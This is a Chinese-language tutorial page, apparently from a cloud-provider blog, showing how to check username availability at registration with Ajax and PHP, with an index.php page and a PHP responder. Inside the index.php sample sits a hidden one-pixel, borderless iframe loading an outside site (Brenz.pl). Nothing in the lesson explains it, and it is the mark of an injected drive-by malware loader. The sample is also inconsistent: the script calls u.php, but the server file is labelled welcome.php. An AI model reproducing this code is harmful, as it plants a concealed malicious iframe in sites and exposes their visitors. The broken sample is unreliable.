溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么在PHP中使用Ajax實(shí)現(xiàn)一個(gè)登錄驗(yàn)證功能

發(fā)布時(shí)間:2021-02-07 20:48:44 來源:億速云 閱讀:143 作者:Leah 欄目:開發(fā)技術(shù)

怎么在PHP中使用Ajax實(shí)現(xiàn)一個(gè)登錄驗(yàn)證功能?很多新手對此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

 AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁應(yīng)用的網(wǎng)頁開發(fā)技術(shù)。

AJAX = Asynchronous JavaScript and XML(異步的 JavaScript 和 XML)。
AJAX 不是新的編程語言,而是一種使用現(xiàn)有標(biāo)準(zhǔn)的新方法。
AJAX 是與服務(wù)器交換數(shù)據(jù)并更新部分網(wǎng)頁的藝術(shù),在不重新加載整個(gè)頁面的情況下。

設(shè)計(jì)一個(gè)用戶注冊頁面,當(dāng)用戶輸入注冊名的時(shí)候,檢測用戶名是否已存在,如果存在,給予提示

我們先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始對象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id為userId的值 
url="u.php?userId="+userId;//路徑 
if(xmlHttpReq!=null){//若對象實(shí)例化創(chuàng)建成功 
xmlHttpReq.open("GET",url,true);//open()打開請求 
xmlHttpReq.onreadystatechange=RequestCallBack;//設(shè)置回調(diào)函數(shù)RequestCallBack() 
xmlHttpReq.send(null);//請求不包括正文 
} 
function RequestCallBack(){//回調(diào)函數(shù) 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//請求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的信息賦給id屬性為get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注冊 
</font><br> 
<form> 
用戶名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe  src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理員"){ 
echo "用戶名已存在!"; 
}else{ 
echo "該用戶名可以注冊"; 
} 
?>

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI